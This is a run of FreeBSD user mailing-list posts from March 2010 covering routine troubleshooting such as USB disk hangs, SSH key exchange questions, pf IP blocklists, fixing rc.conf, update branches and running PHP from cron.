http://www.pcbsd.org/content/view/152/11/
There are also some threads about running FreeBSD on the aspire one, eg
http://forums.freebsd.org/showthread.php?t=449
regards
Chris
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On Sun, Mar 7, 2010 at 3:25 PM, Angelin Lalev <lalev.angelin@gmail.com> wrote:
> Greetings,
>
> I'm doing some research into ssh and its underlying cryptographic
> methods and I have questions. I don't know whom else to ask and humbly
> ask for forgiveness if I'm way OT.
>
> So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange.
> These algorithms can defeat any attempts on eavesdropping, but cannot
> defeat man-in-the-middle attacks. To defeat them, some pre-shared
> information is needed - key fingerprint.
>
> If hypothetically someone uses instead of the plain text
> authentication some challenge-response scheme, based on user's
> password or even a hash of user's password would ssh be able to avoid
> the need the user to have key fingerprints of the server prior the
> first connection?
Hypothetically, SSH could use a zero-knowledge authentication method
such as SRP[1]. Until new code is written for ssh to take advantage
of something like this, we're stuck with what's available.
-- Noel Jones
[1] http://srp.stanford.edu/
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David Jackson wrote:
> I am still having severe problems with severe system instabilities with
> FreeBSD and have had these problrms in 7.1 and 8.0. The system randomly
> locks up, it appears applications lock up when they access the USb disk.
> Also, when accessing the USB disk, the entire system lockup often for
> minutes. Performance with accessing USB disks is horrendous,. it took 7
> hours to copy a directory that was 200 MB. Any program that accesses the
> USB disk tend to freeze for minutes, and often the entire system becomes
> unresponsive for minutes. Overall FreeBSD here is characterized by
> severe instabilities, ive had better performance from Windows 98
> systems. The fact that the entire system freezes up, this should not
> happen, a well designed system will not lock up the entire OS when
> accessing disk.
>
> Are there any diagnostic tools uch as getting a log of tranmissions on
> USB and probe it, ,or finmd out what code it is lockilng up on ?Has
> anyone else seen these problems with USB disks?
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Don't ask me to fix anything because I have no idea, but I have seen
this occasionally on one usb port and/or using a usb extender cable (I
haven't tested properly yet) on my home desktop system. So I put it down
to a hardware issue. All other ports work as expected. Is it an external
hard drive, as opposed to pen drive etc? Have you tested with the
supplied cable plugged directly into a usb port (no extender cable)
including with the secondary power cable if it has one? Have you tested
all your usb ports? Have you tested on other machines running FreeBSD?
Finally, given your remark about windows 98, does your motherboard
actually have USB 2?
FreeBSD 8.0-RELEASE-p1
regards
Chris
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On 08/03/10 18:56, Jason Garrett wrote:
>> Much better, restrict the client access to certain ranges of IPs. The
>> different registries publish ip ranges assigned per country and you can
>> create a list blocking countries you are certain not to visit, you can use
>> my script:
>>
>> http://www.locolomo.org/pub/src/toolbox/inet.pl
>>
> Great script! Just one question. Where do you put the list of denied ip
> ranges?
The output is written to be used with packet filter, if you use some
other firewall you may need edit the script. If you use packet filter,
then you can dump the list into a file and create tables like this:
table <blacklist> persist file "/etc/blacklist"
block in quick from <blacklist>
I use blacklisting for mail while I use whitelisting for ssh.
You should know the limits of the script, the problem is that some
ranges have been assigned directly by IANA, particularly for US. These
are not included. The list is limited as these are all /8 chunks, you
can find it here:
http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml
These ranges are managed by private organisations and assigned as they
see fit.
There is another thing I'd like to filter by: I'd like to eliminate
dynamic ranges, particularly for mail. It's been recommended that
reverse lookup resolves to something like dyn.example.com or
dynamic.example.com, but there is no registry where you can simply look
it up.
BR, Erik
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On Mon, Mar 8, 2010 at 16:11, Erik Norgaard <norgaard@locolomo.org> wrote:
> On 08/03/10 18:56, Jason Garrett wrote:
>
> Much better, restrict the client access to certain ranges of IPs. The
>>> different registries publish ip ranges assigned per country and you can
>>> create a list blocking countries you are certain not to visit, you can
>>> use
>>> my script:
>>>
>>> http://www.locolomo.org/pub/src/toolbox/inet.pl
>>>
>>> Great script! Just one question. Where do you put the list of denied i=
p
>> ranges?
>>
>
> The output is written to be used with packet filter, if you use some othe=
r
> firewall you may need edit the script. If you use packet filter, then you
> can dump the list into a file and create tables like this:
>
> table <blacklist> persist file "/etc/blacklist"
> block in quick from <blacklist>
>
> I use blacklisting for mail while I use whitelisting for ssh.
>
> You should know the limits of the script, the problem is that some ranges
> have been assigned directly by IANA, particularly for US. These are not
> included. The list is limited as these are all /8 chunks, you can find it
> here:
>
> http://www.iana.org/assignments/ipv4-address-space/ipv4-address-space.xml
>
> These ranges are managed by private organisations and assigned as they se=
e
> fit.
>
> There is another thing I'd like to filter by: I'd like to eliminate dynam=
ic
> ranges, particularly for mail. It's been recommended that reverse lookup
> resolves to something like dyn.example.com or dynamic.example.com, but
> there is no registry where you can simply look it up.
>
>
Thanks! I'm not sure what ranges the OP is looking for, but I only want to
allow from US ip's for now, since I never travel outside the country.
>
> BR, Erik
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> I was trying to determine a md5sum from a DVD I had inserted into a
> FreeBSD 8.0
> on my Dell Inspiron 9400 notebook.
>
> I thought dd if=/dev/acd0 | md5 would work but I got "Invalid argument".
>
> Trying dd if=/dev/acd0 bs=1048k | md5 worked in so far that it didn't
> yield an error
> but after the DVD stopped spinning the command hung and I only could
> bail out using ^C.
Try using bs=2048 .
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Bruce Cran wrote:
> On Monday 08 March 2010 16:52:08 David Jackson wrote:
>
>> Are there any diagnostic tools uch as getting a log of tranmissions on
>> USB and probe it, ,or finmd out what code it is lockilng up on ?Has
>> anyone else seen these problems with USB disks?
>
> You'll probably get a better response by asking on the freebsd-usb mailing
> list.
>
> The following debug nodes for USB in 8.0 are present:
>
>> sysctl hw.usb | grep debug
> hw.usb.ehci.debug: 0
> hw.usb.ohci.debug: 0
> hw.usb.uhci.debug: 0
> hw.usb.ctrl.debug: 0
> hw.usb.umass.debug: 0
> hw.usb.debug: 0
> hw.usb.dev.debug: 0
> hw.usb.ugen.debug: 0
> hw.usb.uhub.debug: 0
> hw.usb.proc.debug: 0
> hw.usb.ulpt.debug: 0
> hw.usb.ucom.debug: 0
> hw.usb.uhid.debug: 0
> hw.usb.ukbd.debug: 0
> hw.usb.ums.debug: 0
>
> Your first step should probably be to get a verbose boot log (boot -v) - one
> of the USB developers will likely know better than I do which sysctl debug
> nodes to set to get more details.
>
Aloha,
If the node is disappearing for the USB device and it is connected by a
cable to the box try replace the cable. We had one here that would not
stay listed on the hardware and it was the cable connector gone bad.
I have never had a USB device lock up the box though.
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On Mon, Mar 08, 2010 at 02:01:22PM -0600, CyberLeo Kitsana thus spake:
>On 03/07/2010 03:47 AM, Matthew Seaman wrote:
>> On 07/03/2010 08:45:41, CyberLeo Kitsana wrote:
>>
>>> By necessity and convenience, I have developed a series of additions and
>>> changes to the ports tree. These changes are probably not worthy of
>>> inclusion into the official tree, so I'm looking to maintain an overlay,
>>> of sorts, in the spirit of Gentoo's overlay capability.
>>
>>> Is there an official method of hooking changes into a ports tree, while
>>> maintaining the ability to csup or portsnap the unmodified version? How
>>> do others tackle this particular problem?
>>
>> Yes, you can add your own local ports or even whole categories of local
>> ports without too much difficulty. You can even add some tweaks to an
>> existing port -- you don't have complete freedom to do anything there,
>> but you can do quite a lot.
>>
>> If you create a Makefile.local at any level in the ports tree it will be
>> included alongside the usual Makefile. This means you can override a
>> lot of the available settings at will.
>>
>> So, if you create /usr/ports/Makefile.local
>>
>> with the contents:
>>
>> SUBDIR+=myports
It works with "local," but you still need the VALID_CATEGORIES bit.
>>
>> then you can create a directory /usr/ports/myports and put your own
>> ports inside it -- you'll need a /usr/ports/myports/Makefile just like
>> the other category directories.
>
>This is an excellent idea, and one I ultimately ended up using. However,
>I've found that the ports infrastructure really doesn't tolerate
>creating arbitrary categories, so I had to put a VALID_CATEGORIES+= bit
>at the top of each of my ports' makefiles to get it to work without
>patching any tracked files.
If you use local Mk files, you wouldn't have to worry about putting it in
every port.
>
>> <snip>
>> If you want to modify an existing port, probably the best approach is to
>> create your own slave port -- see the docco on MASTERDIR in the Porter's
>> Handbook and look at eg. games/freeciv-nox11 for about the simplest
>> possible example. It's not fool proof -- some modifications will always
>> need support in the master port's Makefile, but there's a lot you can do
>> without that.
>
>Another good suggestion. I find annoyance in that devel/glib20 (among
>others) requires all of Perl and Python at runtime just to service two
>script files that appear to be used only for certain compilation
>options. It tends to bloat the embedded images that I build.
>
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Yes, I'm still having issues.
qwit is a joke. I can post just fine but it will not retrieve my feeds
for local display. Kind of makes it useless.
Twitux won't connect.
The others seem to be command line clients (the Pidgin Twitter plugin
doesn't work, either) which I am not looking for.
Does anyone have a good, GUI (preferably GTK based but that is flexible)
client they use on a regular basis?
I'd use Tweetdeck but AIR chokes because the libxml2 version it needs
isn't found (though I do believe I have it installed, couldn't find AIR
in ports so this is a Linux binary downloaded from Adobe's site (figured
I'd give it a whirl), they do not provide Linux support):
=2E/AdobeAIRInstaller.bin
Error loading the runtime (libxml2.so.2: cannot open shared object file:
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Hi,
Programmer In Training wrote:
[snip]
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> ./AdobeAIRInstaller.bin
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Have you tried the textproc/linux-libxml2 port?
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SysInstall refers to "VTY1" and "VTY4".
There's nothing I saw in the README that explained what that meant.
I had to ask on the IRC just now.
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On 03/08/10 21:31, Glen Barber wrote:
> Hi,
>=20
> Programmer In Training wrote:=20
> [snip]
>=20
>>
>> ./AdobeAIRInstaller.bin
>> Error loading the runtime (libxml2.so.2: cannot open shared object fil=
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>> No such file or directory)
>=20
> Have you tried the textproc/linux-libxml2 port?
>=20
> Regards,
>=20
To be honest I never even thought to look. I really should look for
Linux ports (something I'm very much not used to).
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Now it's not detecting gnome-keyring (it's a requirement, and it is
installed).
Seriously, does anyone have a good Twitter client they use? I have very
simple requirements (GUI, must be able to pull my feeds for local
display, easy to compile (e.g. doesn't require anything from KDE)).
If not, does anyone know anything about Pino? I've found it in one of my
many searches of the web for something I can use that actually works.
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I'm using FreeBSD 6.4 + windowmaker in IBM notebook.
I edited /etc/rc.conf to use LAN other ip address is different from my home
address in my school.
I got error message from this
[
/etc/rc.conf: 131: Syntax error: Unterminated quoted string
Enter full pathname of shell or RETURN for /bin/sh:
]
so that I returned, I decided to edit /etc/rc.conf using vi.
But freebsd didn't find vi, less any other application.
I can't modify even if read /etc/rc.conf.
fortunately I can use cat so I found my fault sting from /etc/rc.conf but I
can't modify any files cause the system changed into read only file system.
How can I repair /etc/rc.conf file with fault statements using any editor?
Thanks in advanced.
Oscar
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On Mon, Mar 8, 2010 at 11:45 PM, oscar Seo <oscar815@gmail.com> wrote:
> I'm using FreeBSD 6.4 + windowmaker in IBM notebook.
> I edited /etc/rc.conf to use LAN other ip address is different from my home
> address in my school.
> I got error message from this
> [
> /etc/rc.conf: 131: Syntax error: Unterminated quoted string
> Enter full pathname of shell or RETURN for /bin/sh:
> ]
> so that I returned, I decided to edit /etc/rc.conf using vi.
> But freebsd didn't find vi, less any other application.
> I can't modify even if read /etc/rc.conf.
> fortunately I can use cat so I found my fault sting from /etc/rc.conf but I
> can't modify any files cause the system changed into read only file system.
> How can I repair /etc/rc.conf file with fault statements using any editor?
>
> Thanks in advanced.
> Oscar
>
The are multiple ways to do this, easiest is to type in at the sh prompt:
mount -a
You would then have access to /usr, vi is in /usr/bin/vi
--
Adam Vande More
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oscar Seo <oscar815@gmail.com> writes:
> I'm using FreeBSD 6.4 + windowmaker in IBM notebook.
> I edited /etc/rc.conf to use LAN other ip address is different from my home
> address in my school.
> I got error message from this
> [
> /etc/rc.conf: 131: Syntax error: Unterminated quoted string
> Enter full pathname of shell or RETURN for /bin/sh:
> ]
> so that I returned, I decided to edit /etc/rc.conf using vi.
> But freebsd didn't find vi, less any other application.
> I can't modify even if read /etc/rc.conf.
> fortunately I can use cat so I found my fault sting from /etc/rc.conf but I
> can't modify any files cause the system changed into read only file system.
> How can I repair /etc/rc.conf file with fault statements using any editor?
>
> Thanks in advanced.
> Oscar
There is an entry in the FreeBSD FAQ titled "I made a mistake in
rc.conf, or another startup file, and now I cannot edit it because the
file system is read-only. What should I do?"
It's exactly what you need.
--
Lowell Gilbert, embedded/networking software engineer, Boston area
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> Now it's not detecting gnome-keyring (it's a requirement, and it is
> installed).
>
> Seriously, does anyone have a good Twitter client they use? I have very
> simple requirements (GUI, must be able to pull my feeds for local
> display, easy to compile (e.g. doesn't require anything from KDE)).
>
> If not, does anyone know anything about Pino? I've found it in one of my
> many searches of the web for something I can use that actually works.
>
I wonder if this can be done in FreeBSD?
http://www.technixupdate.com/install-tweetdeck-on-ubuntu-linux/
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> Seriously, does anyone have a good Twitter client they use? I have very
> simple requirements (GUI, must be able to pull my feeds for local
> display, easy to compile (e.g. doesn't require anything from KDE)).
may not be a standalone client, but have you tried the Echofon plugin
for Firefox ? it supports multiple twitter accounts too.
--dinesh
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Angelin Lalev <lalev.angelin@gmail.com> wrote:
> So, SSH uses algorithms like ssh-dss or ssh-rsa to do key exchange.
> These algorithms can defeat any attempts on eavesdropping, but cannot
> defeat man-in-the-middle attacks. To defeat them, some pre-shared
> information is needed - key fingerprint.
What happened to Diffie-Hellman? Last I heard, its whole point was
to enable secure communication, protected from both eavesdropping
and MIM attacks, between systems having no prior trust relationship
(e.g. any sort of pre-shared secret). What stops the server and
client from establishing a Diffie-Hellman session and using it to
perform the key exchange?
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> What happened to Diffie-Hellman? Last I heard, its whole point was
> to enable secure communication, protected from both eavesdropping
> and MIM attacks, between systems having no prior trust relationship
> (e.g. any sort of pre-shared secret). What stops the server and
> client from establishing a Diffie-Hellman session and using it to
> perform the key exchange?
I am not expert in cryptography, but logic tends to tell me that is I
have no prior knowledge about the person I am about to talk to,
anybody (MIM) could pretend to be that person.
The pre-shared information need not to be secret (key fingerprints are
not secret), but there is need for pre-shared trusted information.
Bests,
Olivier
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Hi !
I have a question about using freebsd-update && IDS command.
what is the correct way to specify 'the "known good" index of the
installed release' ?
I would like to compare an installed system with the(its) original
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On 9 March 2010 06:10, Lowell Gilbert <
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> oscar Seo <oscar815@gmail.com> writes:
>
> > I'm using FreeBSD 6.4 + windowmaker in IBM notebook.
> > I edited /etc/rc.conf to use LAN other ip address is different from my
> home
> > address in my school.
> > I got error message from this
> > [
> > /etc/rc.conf: 131: Syntax error: Unterminated quoted string
> > Enter full pathname of shell or RETURN for /bin/sh:
> > ]
> > so that I returned, I decided to edit /etc/rc.conf using vi.
> > But freebsd didn't find vi, less any other application.
> > I can't modify even if read /etc/rc.conf.
> > fortunately I can use cat so I found my fault sting from /etc/rc.conf but
> I
> > can't modify any files cause the system changed into read only file
> system.
> > How can I repair /etc/rc.conf file with fault statements using any
> editor?
> >
> > Thanks in advanced.
> > Oscar
>
> There is an entry in the FreeBSD FAQ titled "I made a mistake in
> rc.conf, or another startup file, and now I cannot edit it because the
> file system is read-only. What should I do?"
>
> It's exactly what you need.
> --
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try doing a "mount -uw /"
then a "mount -a"
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This is on FreeBSD ia64 9.0-CURRENT #0 r203484M:
I've zip-3.0 and unzip-6.0 installed from ports.
When I try to add files to an archive with encryption,
I cannot then extract them back:
> ls -al > try
> zip -e try.zip try
Enter password:
Verify password:
adding: try (deflated 42%)
> rm try
> unzip try.zip
Archive: try.zip
extracting: try |
unzip: ZIP decompression failed (-3)
> ls -al try
-rwxr-xr-x 1 mexas wheel 0 9 Mar 10:27 try
>
the extracted file is zero length.
Maybe this is not supposed to work?
Please advise
many thanks
anton
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daniele <glimp@live.com> writes:
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> I have a question about using freebsd-update && IDS command.
> what is the correct way to specify 'the "known good" index of the
> installed release' ?
> I would like to compare an installed system with the(its) original
> released CD.
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by freebsd-update(8) (as described in the man page).
> Thanks
> d
>
> Ref:
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Hi,
Am studying at a University in E. Africa but the problem is that our
server administrators blocked "ftp" and filtered out images, so we can not
download any image file, the most common extension for operating systems.
I was just requesting then if there is a HTTP site with zipped freeBSD
image files ready for download. It would really help a number of us out
here.
Thanks abundantly,
Yours sincerely,
Emmanuel
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On 03/09/10 08:58, Emmanuel Opio wrote:
> Hi,
> Am studying at a University in E. Africa but the problem is that =
our
> server administrators blocked "ftp" and filtered out images, so we can =
not
> download any image file, the most common extension for operating system=
s.
> I was just requesting then if there is a HTTP site with zipped freeBS=
D
> image files ready for download. It would really help a number of us out=
> here.
> Thanks abundantly,
>=20
> Yours sincerely,
>=20
> Emmanuel
I could set up a place on one of my websites for this purpose. Just tell
me which image you want and I'll get to work on it.
I'll keep the image up for a month or two (or until my host complains
about it) so I'll provide a link for others in similar situations.
--=20
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> Am studying at a University in E. Africa but the problem is that our
> server administrators blocked "ftp" and filtered out images, so we can not
> download any image file
You could try downloading it with a BitTorrent client.
http://torrents.freebsd.org:8080/
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On Tue, Mar 9, 2010 at 3:58 PM, Emmanuel Opio <immanuel511@gmail.com> wrote:
> Am studying at a University in E. Africa but the problem is that our
> server administrators blocked "ftp" and filtered out images, so we can not
> download any image file, the most common extension for operating systems.
They're obviously having bandwidth problems.
How about asking them nicely to fetch the ISOs once to their central server,
and let students download them from there as often as they like? I've worked
in multiple University IT departments, and we've never turned down a reasonable
request like this, even when bandwidth was severely limited and quotas were
in place. They probably won't either at your U.
Maybe asking via a C.S. professor would have even more effect. ;-)
> Emmanuel
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> =A0I was just requesting then if there is a HTTP site with zipped freeBSD
> image files ready for download. It would really help a number of us out
> here.
> Thanks abundantly,
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> Yours sincerely,
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Hi,
Maybe you could try the memstick.img or the dvd1.iso.gz
http://ftp.ntua.gr/pub/FreeBSD/
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Hi Folk,
Further to previous suggestion in this mailing list,
I have just updated from FreeBSD 8.0-STABLE to the latest patch.
I firstly use freebsd-update but it failed ...
# freebsd-update fetch
Lookin up update.FreeBSD.org mirrors... 3 mirrors found
Fetching public key from update4.FreeBSD.org... failed
Fetching public key from update5.FreeBSD.org... failed
Fetching public key from update2.FreeBSD.org... failed
Give up, no remaining mirrors.
(I didn't run script(1), I hard typed from my memory.)
I tried many times, the results were always the same.
I don't know what happen.
So I switch to update from source.
REL_ENG_8_0 is specified in stable-supfile. After csup and buildworld/kernel.
Now I am running 8.0-RELEASE-p2.
But I am expecting 8.0-STABLE-p2. I don't understand.
The handbook did not say anything about the capitalized RELEASE.
At least I did not find it.
I only notice that I always get RELEASE when freshly install from CDs.
But when build from sources sometimes I get RELEASE.
And sometimes I get STABLE.
1. What is the difference between RELEASE and STABLE?
2. After buildworld/kernel finished, I tried freebsd-upgrade again.
Now it works. There are still 20 files to fetch and install.
Only 8 hours between csup all sources and freebsd-upgrade.
Is it normal to have such 20 outstanding files during short period?
3. freebsd-upgrade did not request for mergemaster(8).
How can we ensure that things in /etc go well?
4. After this step, I would probably run portmaster. sleepy now :-(
I want to know how often you normally update the ``system'' and ``ports''?
If both are normally done EVERYDAY, freebsd-update is relatively fast.
But portmaster is somewhat slow to build all ports from sources.
One may have hundreds ports, if not thousands.
Please give me some hints, what are you normally do?
Thanks,
Pongthep
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Hi Folk,
Further to previous suggestion in this mailing list,
I have just updated from FreeBSD 8.0-STABLE to the latest patch.
I firstly use freebsd-update but it failed ...
# freebsd-update fetch
Lookin up update.FreeBSD.org mirrors... 3 mirrors found
Fetching public key from update4.FreeBSD.org... failed
Fetching public key from update5.FreeBSD.org... failed
Fetching public key from update2.FreeBSD.org... failed
Give up, no remaining mirrors.
(I didn't run script(1), I hard typed from my memory.)
I tried many times, the results were always the same.
I don't know what happen.
So I switch to update from source.
REL_ENG_8_0 is specified in stable-supfile. After csup and buildworld/kernel.
Now I am running 8.0-RELEASE-p2.
But I am expecting 8.0-STABLE-p2. I don't understand.
The handbook did not say anything about the capitalized RELEASE.
At least I did not find it.
I only notice that I always get RELEASE when freshly install from CDs.
But when build from sources sometimes I get RELEASE.
And sometimes I get STABLE.
1. What is the difference between RELEASE and STABLE?
2. After buildworld/kernel finished, I tried freebsd-upgrade again.
Now it works. There are still 20 files to fetch and install.
Only 8 hours between csup all sources and freebsd-upgrade.
Is it normal to have such 20 outstanding files during short period?
3. freebsd-update did not request for mergemaster(8). [edit]
How can we ensure that things in /etc go well?
4. After this step, I would probably run portmaster. sleepy now :-(
I want to know how often you normally update the ``system'' and ``ports''?
If both are normally done EVERYDAY, freebsd-update is relatively fast.
But portmaster is somewhat slow to build all ports from sources.
One may have hundreds ports, if not thousands.
Please give me some hints, what are you normally do?
Thanks,
Pongthep
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On Mar 9, 2010, at 8:07 AM, Pongthep Kulkrisada wrote:
> Further to previous suggestion in this mailing list,
> I have just updated from FreeBSD 8.0-STABLE to the latest patch.
This is good.
> I firstly use freebsd-update but it failed ...
[ ...Colin Percival is the owner of this, so I won't try to speak to =
it... ]
> So I switch to update from source.
> REL_ENG_8_0 is specified in stable-supfile. After csup and =
buildworld/kernel.
> Now I am running 8.0-RELEASE-p2.
> But I am expecting 8.0-STABLE-p2. I don't understand.
If you track RELENG_8, you get -STABLE system from a build cycle. If =
you track RELENG_8_0, you are tracking the security branch and get your =
own "official" -RELEASE system from the build cycle.
> The handbook did not say anything about the capitalized RELEASE.
> At least I did not find it.
> I only notice that I always get RELEASE when freshly install from CDs.
> But when build from sources sometimes I get RELEASE.
> And sometimes I get STABLE.
>=20
> 1. What is the difference between RELEASE and STABLE?
http://www.freebsd.org/security/ says:
"Supported FreeBSD Releases
The FreeBSD Security Officer provides security advisories for several =
branches of FreeBSD development. These are the -STABLE Branches and the =
Security Branches. (Advisories are not issued for the -CURRENT Branch.)
=95 The -STABLE branch tags have names like RELENG_7. The =
corresponding builds have names like FreeBSD 7.0-STABLE.
=95 Each FreeBSD Release has an associated Security Branch. The =
Security Branch tags have names like RELENG_7_0. The corresponding =
builds have names like FreeBSD 7.0-RELEASE-p1."
> 2. After buildworld/kernel finished, I tried freebsd-upgrade again.
> Now it works. There are still 20 files to fetch and install.
> Only 8 hours between csup all sources and freebsd-upgrade.
> Is it normal to have such 20 outstanding files during short period?
It's not unusual for a even single change (like pulling in a security =
fix or whatever to OpenSSL, sendmail, etc) to touch that many files. =
However, one does not normally swap back and forth between building from =
source and doing binary upgrades, although it's certainly fine if you =
wanted to get freebsd-upgrade working and use it from here on out.
> 3. freebsd-update did not request for mergemaster(8). [edit]
> How can we ensure that things in /etc go well?
Read /usr/src/UPGRADING for notes about important changes. Run =
mergemaster -iU, although you don't need to bother unless you're moving =
to at least a .x upgrade or there was a specific mention in the security =
advisory otherwise.
> 4. After this step, I would probably run portmaster. sleepy now :-(
> I want to know how often you normally update the ``system'' and =
``ports''?
I update most systems at least as often as FreeBSD security advisories =
are posted; and ports whenever portaudit warns of an issue. If a new =
version of something which is a primary function of some box is updated, =
I might update more frequently for such a specific reason.
I have test machines that get updated about weekly. I have firewall =
boxes with multiyear uptimes where I've only updated OpenSSH+OpenSSL =
when needed, since port 22 for management is all they do.
> If both are normally done EVERYDAY, freebsd-update is relatively fast.
I'm going to conclude from this question that you aren't running =
production systems. :-)
> But portmaster is somewhat slow to build all ports from sources.
> One may have hundreds ports, if not thousands.
> Please give me some hints, what are you normally do?
You only need to rebuild all ports when you are updating the system for =
a major release, like from 7.x to 8.x. Otherwise, portmaster, =
portupgrade, etc will determine which ports have changes and only =
rebuild those ones.
--=20
-Chuck=
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> Hi Folk,
>
> Further to previous suggestion in this mailing list,
> I have just updated from FreeBSD 8.0-STABLE to the latest patch.
>
> I firstly use freebsd-update but it failed ...
> # freebsd-update fetch
> Lookin up update.FreeBSD.org mirrors... 3 mirrors found
> Fetching public key from update4.FreeBSD.org... failed
> Fetching public key from update5.FreeBSD.org... failed
> Fetching public key from update2.FreeBSD.org... failed
> Give up, no remaining mirrors.
> (I didn't run script(1), I hard typed from my memory.)
>
> I tried many times, the results were always the same.
> I don't know what happen.
>
> So I switch to update from source.
> REL_ENG_8_0 is specified in stable-supfile. After csup and
that should be RELENG_8_0
> 1. What is the difference between RELEASE and STABLE?
Stable is a stable development branch, if you want to use
freebsd-update you need to use a proper release security branch.
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I know the usual way of loading the linux module and configuring it in
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If so, what would the line for it look like?
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I am trying to run a php script from the cron tab and these are the
errors I receive:
/usr/local/bin/php php -q /home/xxxx/ripper.php result
Could not open input file: php
/usr/local/bin/php php -/home/xxxx/ripper.php result
Could not open input file: php
/usr/local/bin/php -/home/xxxx/ripper.php result
This script must be called from the command line.
Running Freebsd 8.0, Php 5.2.12
I have chmod the script 644 still no luck tried it chmod 777 still no
luck. I have goggled this problem and followed the tutorials but still
no luck.
Any ideas how I can get the script to run?
I can run run it from the command line without any problems.
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> I know the usual way of loading the linux module and configuring it in
> rc.conf, but can it be compiled directly into the kernel?
>
> If so, what would the line for it look like?
options COMPAT_LINUX
or if you are on amd64
options COMPAT_LINUX32
You can compile in the linprocfs module with
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See /usr/src/sys/conf/NOTES and /usr/src/sys/$ARCH/conf/NOTES to find
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* Chuck Swiger (cswiger@mac.com) wrote:
> If you track RELENG_8, you get -STABLE system from a build cycle. If you
> track RELENG_8_0, you are tracking the security branch and get your own
> "official" -RELEASE system from the build cycle.
>
> http://www.freebsd.org/security/ says:
>=20
> "Supported FreeBSD Releases
>=20
> The FreeBSD Security Officer provides security advisories for several
> branches of FreeBSD development. These are the -STABLE Branches and the
> Security Branches. (Advisories are not issued for the -CURRENT Branch.)
>=20
> ? The -STABLE branch tags have names like RELENG_7. The corresponding
> builds have names like FreeBSD 7.0-STABLE.
>=20
> ? Each FreeBSD Release has an associated Security Branch. The Security
> Branch tags have names like RELENG_7_0. The corresponding builds have nam=
es
> like FreeBSD 7.0-RELEASE-p1."
You explained very clear, much appreciated.
> However, one does not normally swap back and forth between building from
> source and doing binary upgrades, although it's certainly fine if you
> wanted to get freebsd-upgrade working and use it from here on out.
I only wanted to try again because the previous tries failed.
I actually was not expecting any update to be occured.
=46rom now on I should adhere with binary update, very fast.
It also synchronizes source tree with binary.
But I'm still question that how can we keep long uptime, if we always boot.
Some boxes have been serving for many years without shutdown.
> > 3. freebsd-update did not request for mergemaster(8). [edit]
> > How can we ensure that things in /etc go well?
>=20
> Read /usr/src/UPDATING for notes about important changes.
Very technical, few people can understand. It's good anyway. :-)
> Run mergemaster -iU, although you don't need to bother unless you're movi=
ng
> to at least a .x upgrade or there was a specific mention in the security
> advisory otherwise.
Okay.
> I update most systems at least as often as FreeBSD security advisories ar=
e posted;
Where or which mailing lists?
Is there any ``push model'' like Windows Update?
It will prompt right after boot finish, when new patches exist.
> and ports whenever portaudit warns of an issue. If a new version of
> something which is a primary function of some box is updated, I might upd=
ate
> more frequently for such a specific reason.
I have just know that ports-mgmt/portaudit can also report the availability=
of
new ports. I thought that it only issues warnings when security
vulnerabilities occurs.
> I have test machines that get updated about weekly. I have firewall boxe=
s with multiyear uptimes where I've only updated OpenSSH+OpenSSL when neede=
d, since port 22 for management is all they do.
So you didn't update the system to keep long uptime.
> I'm going to conclude from this question that you aren't running producti=
on systems. :-)
Yes I'm a novice (hobbyist). :-)
> You only need to rebuild all ports when you are updating the system for a=
major release, like from 7.x to 8.x. Otherwise, portmaster, portupgrade, =
etc will determine which ports have changes and only rebuild those ones.
I shall use portmaster whenever I update *major* or *minor* release.
But excluding patches.
Thanks,
Pongthep
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* RW (rwmaillists@googlemail.com) wrote:
> that should be RELENG_8_0
Sorry for typo, but actually I only appended to the existing supfile.
Thing goes well.
> Stable is a stable development branch, if you want to use
> freebsd-update you need to use a proper release security branch.
Does that mean -STABLE can not use freebsd-update?
If so, I am clear now because I encountered the problem
when I used freebsd-update from -STABLE. It failed.
Thanks,
Pongthep
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> I am trying to run a php script from the cron tab and these are the errors I
> receive:
>
>
> /usr/local/bin/php php -q /home/xxxx/ripper.php result
> Could not open input file: php
> /usr/local/bin/php php -/home/xxxx/ripper.php result
>
> Could not open input file: php
>
> /usr/local/bin/php -/home/xxxx/ripper.php result
>
> This script must be called from the command line.
>
> Running Freebsd 8.0, Php 5.2.12
> I have chmod the script 644 still no luck tried it chmod 777 still no luck.
> I have goggled this problem and followed the tutorials but still no luck.
> Any ideas how I can get the script to run?
> I can run run it from the command line without any problems.
Instead of
/usr/local/bin/php php -q /home/xxxx/ripper.php
try
/usr/local/bin/php -f /home/xxxx/ripper.php
or just
/usr/local/bin/php /home/xxxx/ripper.php
You can also try a script like this one:
#!/usr/local/bin/php -f
<?php
echo "foo\n";
?>
And running it like this:
/home/xxxx/ripper.php
after chmod'ing it to be executable.
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> Postfix, replied:
>
> Connection reset by peer (or error code ECONNRESET) means that the
> other party hung up.
>
> This never happened prior to updating FreeBSD to FreeBSD
> 7.3-PRERELEASE. Has anyone else experienced this or have a solution?
>
> --
> Jerry
> gesbbb@yahoo.com
Maybe you didn't have TLS enabled before?
Anyway, this message caused by the other end disconnecting abruptly.
If you just get it once in a while, it can be safely ignored. If you
get it on every connection, your TLS is broken. If you get it fairly
consistently with some specific client, maybe that client has a busted
TLS implementation.
-- Noel Jones
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Well, first time this happened since I got my Dell 8200.
It suddenly died. I just finished sending an email a few
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Does this happen often with Dells? What should I be
looking for to replace the 8200.
thanks for any suggestions.
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Anton Shterenlikht <mexas@bristol.ac.uk> writes:
> This is on FreeBSD ia64 9.0-CURRENT #0 r203484M:
> I've zip-3.0 and unzip-6.0 installed from ports.
>
> When I try to add files to an archive with encryption,
> I cannot then extract them back:
>
>> ls -al > try
>> zip -e try.zip try
> Enter password:
> Verify password:
> adding: try (deflated 42%)
>> rm try
>> unzip try.zip
> Archive: try.zip
> extracting: try |
> unzip: ZIP decompression failed (-3)
>> ls -al try
> -rwxr-xr-x 1 mexas wheel 0 9 Mar 10:27 try
>>
>
> the extracted file is zero length.
>
> Maybe this is not supposed to work?
It does for me, but there are a number of problems with the zip
encryption (even aside from the fact that it's easy to break).
You might want to take a look at the extensive "DECRYPTION"
section in the unzip(1) man page.
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On 8/03/2010 9:47 PM, Dan Naumov wrote:
> Is powerd finally considered stable and safe to use on 8.0? At least
> on 7.2, it consistently caused panics when used on Atom systems with
> Hyper-Threading enabled, but I recall that Attilio Rao was looking
> into it.
I can confirm I've been running it on an Atom 330 board, with HyperThreading, on 8.0-RELEASE-p2, for quite some time now:
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Although now looking at it I don't know if it's working ...
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On Tue, 9 Mar 2010 12:36:31 -0600
Noel Jones <noeldude@gmail.com> articulated:
> Maybe you didn't have TLS enabled before?
>
> Anyway, this message caused by the other end disconnecting abruptly.
